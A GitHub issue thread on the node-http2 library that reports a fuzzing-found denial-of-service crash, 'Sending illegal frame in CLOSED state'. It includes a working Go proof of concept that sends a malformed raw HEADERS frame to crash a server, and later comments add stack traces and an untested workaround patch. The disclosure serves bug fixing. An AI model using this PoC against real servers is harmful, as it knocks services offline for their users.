node-http2 icon indicating copy to clipboard operation
node-http2 copied to clipboard

illegal frame HEADERS crash from Stream._pushUpstream

Open c0nrad opened this issue 11 years ago • 14 comments

illegal frame HEADERS from Stream._pushUpstream

DoS found via fuzzing

Crash

/Users/stuartlarsen/Pentests/node-http2/node_modules/http2/lib/protocol/stream.js:627
      throw new Error('Sending illegal frame (' + frame.type + ') in ' + this.
            ^
Error: Sending illegal frame (HEADERS) in CLOSED state.
    at Stream.transition [as _transition] (/Users/stuartlarsen/Pentests/node-http2/node_modules/http2/lib/protocol/stream.js:627:13)
    at Stream._pushUpstream (/Users/stuartlarsen/Pentests/node-http2/node_modules/http2/lib/protocol/stream.js:230:8)
    at Stream.headers (/Users/stuartlarsen/Pentests/node-http2/node_modules/http2/lib/protocol/stream.js:101:8)
    at OutgoingResponse.writeHead (/Users/stuartlarsen/Pentests/node-http2/node_modules/http2/lib/http.js:677:15)
    at OutgoingResponse._implicitHeaders (/Users/stuartlarsen/Pentests/node-http2/node_modules/http2/lib/http.js:683:10)
    at OutgoingResponse.end (/Users/stuartlarsen/Pentests/node-http2/node_modules/http2/lib/http.js:693:8)
    at Server.<anonymous> (/Users/stuartlarsen/Pentests/node-http2/server.js:10:12)
    at Server.emit (events.js:110:17)
    at IncomingRequest.g (events.js:199:16)
    at IncomingRequest.emit (events.js:104:17)

PoC

package main

import (
    "crypto/tls"
    "encoding/base64"
    "io"
    "log"
    "net"

    "github.com/bradfitz/http2"
)

func main() {
    var Target = "localhost:1338"

    conn, err := Dial(Target, true)
    if err != nil {
        panic(err)
    }
    io.WriteString(conn, http2.ClientPreface)

    framer := http2.NewFramer(conn, conn)
    framer.WriteSettings()
    framer.WriteSettingsAck()

    //{"Flags":30,"FrameMethod":"RawFrame","FrameType":1,"Payload":"3kByAK/43RyeVSakJhdGNY38FBFuFm6fBvCVcc+b3EM0cCHtBkfJP5+v+sa7BTuyx5fJL13FsMpnZwTiQ171Qd3qchmdrPZBBS/gWigV4aBI","StreamID":1311466052}
    framer.WriteRawFrame(http2.FrameType(1), http2.Flags(30), 3, FromBase64("3kByAK/43RyeVSakJhdGNY38FBFuFm6fBvCVcc+b3EM0cCHtBkfJP5+v+sa7BTuyx5fJL13FsMpnZwTiQ171Qd3qchmdrPZBBS/gWigV4aBI"))
}

func FromBase64(in string) []byte {
    data, err := base64.StdEncoding.DecodeString(in)
    if err != nil {
        panic(err)
    }
    return data
}

func Dial(host string, isTLS bool) (net.Conn, error) {
    log.Printf("Connecting to %s ...", host)

    if isTLS {
        cfg := &tls.Config{
            ServerName:         host,
            NextProtos:         []string{"h2", "h2-14"},
            InsecureSkipVerify: true,
        }

        tc, err := tls.Dial("tcp", host, cfg)
        if err != nil {
            return nil, err
        }

        log.Printf("Connected to %v", tc.RemoteAddr())

        if err := tc.Handshake(); err != nil {
            return nil, err
        }

        state := tc.ConnectionState()
        log.Printf("Negotiated protocol %q", state.NegotiatedProtocol)
        if !state.NegotiatedProtocolIsMutual || state.NegotiatedProtocol == "" {
            return nil, err
        }

        return tc, nil
    } else {

        log.Printf("Connecting to %s ...", host)
        TCPConn, err := net.Dial("tcp", host)
        if err != nil {
            return nil, err
        }

        return TCPConn, nil
    }

}

c0nrad avatar Sep 02 '15 00:09 c0nrad

I also got that when pressing reload repeatedly with my web browser connected to localhost.

bjb568 avatar Oct 19 '15 22:10 bjb568

Fixed by https://github.com/molnarg/node-http2/commit/aa311d227e696c34a26c8b55cbe2f6b0af45a8ad

nwgh avatar Jan 11 '16 20:01 nwgh

@bjb568 @nwgh Is this really fixed? I still get it when pressing reload in browser repeatedly in 3.3.2:

Error: Sending illegal frame (HEADERS) in CLOSED state.
    at Stream.transition [as _transition] (http2/lib/protocol/stream.js:627:13)
    ...

dbo avatar Mar 21 '16 12:03 dbo

I'm still getting this quite often with v3.3.2:

/home/sean/node_modules/bluebird/js/main/async.js:43 fn = function () { throw arg; }; ^

Error: Sending illegal frame (HEADERS) in CLOSED state. at Stream.transition as _transition at Stream._pushUpstream (/home/sean/node_modules/http2/lib/protocol/stream.js:230:8) at Stream.headers (/home/sean/node_modules/http2/lib/protocol/stream.js:101:8) at OutgoingResponse.writeHead (/home/sean/node_modules/http2/lib/http.js:728:15) at respond (/home/sean/node_modules/engine.io/lib/transports/polling.js:320:14) at XHR.Polling.doWrite (/home/sean/node_modules/engine.io/lib/transports/polling.js:296:5) at XHR.Polling.write (/home/sean/node_modules/engine.io/lib/transports/polling.js:265:8) at /home/sean/node_modules/engine.io/lib/transports/polling.js:250:10 at /home/sean/node_modules/engine.io-parser/lib/index.js:410:12 at proxy (/home/sean/node_modules/after/index.js:23:13) at /home/sean/node_modules/engine.io-parser/lib/index.js:236:7 at /home/sean/node_modules/engine.io-parser/lib/index.js:395:16 at Object.exports.encodePacket (/home/sean/node_modules/engine.io-parser/lib/index.js:78:10) at encodeOne (/home/sean/node_modules/engine.io-parser/lib/index.js:385:13) at eachWithIndex (/home/sean/node_modules/engine.io-parser/lib/index.js:234:5) at map (/home/sean/node_modules/engine.io-parser/lib/index.js:241:5)

loops avatar Apr 02 '16 20:04 loops

I don't know if anyone is seeing this or if it's now ignored since being marked as closed. But here goes for anyone who finds this from Google..

The current code will throw an exception if the remote client closes the stream with RST_STREAM. This is expected behavior from any client when it is trying to signal that it does not want any current or future data on the stream. Constantly refreshing a browser page can trigger this condition for instance, as data in transit needs to be discarded since the current page rendering is aborted.

I don't think this condition should cause protocol/stream.js to throw an exception like it currently does, since this is an expected occurrence[1]. Changing line 615 to:

if (connectionError || (streamError && !this._closedWithRst)) {

As a rough hack means that this condition no longer throws an exception.

[1] I've spent 10 minutes looking at this code, and am spouting off without any real conviction. Use at your own risk ;o)

loops avatar Apr 03 '16 06:04 loops

@nwgh Does this issue need to be reopened? It's reliably reproducible for me.

dbo avatar Apr 07 '16 11:04 dbo

I also get the same error using Node v6.0.0 and http2 v3.3.4. Any solution or workaround?

marckris avatar May 19 '16 12:05 marckris

I'm getting the same error too, occasionally. I'm on node v5.6.0 and http2 v3.3.4. Didn't find a you reliable way to reproduce it yet but I'm sure Socket.io provokes the error in my case.

Maybe this issue really needs a reopen? What do you think, @nwgh.

events.js:154
      throw er; // Unhandled 'error' event
      ^

Error: Sending illegal frame (HEADERS) in CLOSED state.
    at Stream.transition [as _transition] (/Users/pk/era-verein/era-verein-server/node_modules/http2/lib/protocol/stream.js:628:33)
    at Stream._pushUpstream (/Users/pk/era-verein/era-verein-server/node_modules/http2/lib/protocol/stream.js:230:8)
    at Stream.headers (/Users/pk/era-verein/era-verein-server/node_modules/http2/lib/protocol/stream.js:101:8)
    at OutgoingResponse.writeHead (/Users/pk/era-verein/era-verein-server/node_modules/http2/lib/http.js:738:15)
    at respond (/Users/pk/era-verein/era-verein-server/node_modules/engine.io/lib/transports/polling.js:320:14)
    at /Users/pk/era-verein/era-verein-server/node_modules/engine.io/lib/transports/polling.js:315:5
    at Gzip.<anonymous> (/Users/pk/era-verein/era-verein-server/node_modules/engine.io/lib/transports/polling.js:345:7)
    at emitNone (events.js:85:20)
    at Gzip.emit (events.js:179:7)
    at endReadableNT (_stream_readable.js:906:12)
    at nextTickCallbackWith2Args (node.js:475:9)
    at process._tickDomainCallback (node.js:430:17)

trading-peter avatar Jun 10 '16 07:06 trading-peter

Me too

events.js:160
      throw er; // Unhandled 'error' event
      ^

Error: Sending illegal frame (DATA) in CLOSED state.
    at Stream.transition [as _transition] (/home/phil/git-repos/personal/personal-home2/node_modules/http2/lib/protocol/stream.js:628:33)
    at Stream._pushUpstream (/home/phil/git-repos/personal/personal-home2/node_modules/http2/lib/protocol/stream.js:230:8)
    at Stream._write (/home/phil/git-repos/personal/personal-home2/node_modules/http2/lib/protocol/stream.js:307:25)
    at doWrite (_stream_writable.js:307:12)
    at writeOrBuffer (_stream_writable.js:293:5)
    at Stream.Writable.write (_stream_writable.js:220:11)
    at OutgoingResponse._write (/home/phil/git-repos/personal/personal-home2/node_modules/http2/lib/http.js:343:17)
    at doWrite (_stream_writable.js:307:12)
    at writeOrBuffer (_stream_writable.js:293:5)
    at OutgoingResponse.Writable.write (_stream_writable.js:220:11)
    at OutgoingResponse.write (/home/phil/git-repos/personal/personal-home2/node_modules/http2/lib/http.js:754:42)
    at Gzip.ondata (_stream_readable.js:555:20)
    at emitOne (events.js:96:13)
    at Gzip.emit (events.js:188:7)
    at readableAddChunk (_stream_readable.js:172:18)
    at Gzip.Readable.push (_stream_readable.js:130:10)
    at Gzip.Transform.push (_stream_transform.js:128:32)
    at Zlib.callback (zlib.js:598:14)

olsonpm avatar Jun 25 '16 20:06 olsonpm

@loops

I have the same issue, and use the method you provided. It works for me. For the file /lib/protocol/stream.js line 616 The original code is (connectionError || streamError) by change it to (connectionError || (streamError && !this._closedWithRst)) It just add a condition !this._closedWithRst. I think it's a fair solution。

Is it possible to modify it @nwgh

byn9826 avatar Nov 03 '16 21:11 byn9826

@loops 's solution works for me too. This crash never happens again in the past month since I changed it.

ruiming avatar Dec 01 '16 08:12 ruiming

Why is this closed? This still happens using node v8.4.0 and http2 v3.3.6

@nwgh is this project dead? Maybe you could add anybody (e.g. @kaazing) willing to continue working on this project as a maintainer?

I think it would be pretty lame to block the http2 namespace on npm, having 30,000 Downloads a week and just abandoning the project.

maoberlehner avatar Sep 04 '17 04:09 maoberlehner

events.js:163 throw er; // Unhandled 'error' event ^

Error: Sending illegal frame (DATA) in CLOSED state. at Stream.transition [as _transition] (/home/aznob/Public/http2/node_modules/http2/lib/protocol/stream.js:628:33) at Stream._pushUpstream (/home/aznob/Public/http2/node_modules/http2/lib/protocol/stream.js:230:8) at Stream._write (/home/aznob/Public/http2/node_modules/http2/lib/protocol/stream.js:307:25) at doWrite (_stream_writable.js:329:12) at writeOrBuffer (_stream_writable.js:315:5) at Stream.Writable.write (_stream_writable.js:241:11) at OutgoingResponse._write (/home/aznob/Public/http2/node_modules/http2/lib/http.js:336:17) at doWrite (_stream_writable.js:329:12) at writeOrBuffer (_stream_writable.js:315:5) at OutgoingResponse.Writable.write (_stream_writable.js:241:11)

Da99er avatar Sep 22 '17 08:09 Da99er

Still crash

node 6.1.0 express 4.16.2 node-http2 3.3.7

events.js:160 throw er; // Unhandled 'error' event ^

Error: Sending illegal frame (HEADERS) in CLOSED state. at Stream.transition [as _transition] (/Users/zhengguo.chen/Projects/render-example/node_modules/http2/lib/protocol/stream.js:628:33) at Stream._pushUpstream (/Users/zhengguo.chen/Projects/render-example/node_modules/http2/lib/protocol/stream.js:230:8) at Stream.headers (/Users/zhengguo.chen/Projects/render-example/node_modules/http2/lib/protocol/stream.js:101:8) at OutgoingResponse.writeHead (/Users/zhengguo.chen/Projects/render-example/node_modules/http2/lib/http.js:731:15) at OutgoingResponse._implicitHeaders (/Users/zhengguo.chen/Projects/render-example/node_modules/http2/lib/http.js:737:10) at OutgoingResponse.write (/Users/zhengguo.chen/Projects/render-example/node_modules/http2/lib/http.js:746:8) at ReadStream.ondata (_stream_readable.js:555:20) at emitOne (events.js:96:13) at ReadStream.emit (events.js:188:7) at readableAddChunk%

mmillet avatar Dec 01 '17 06:12 mmillet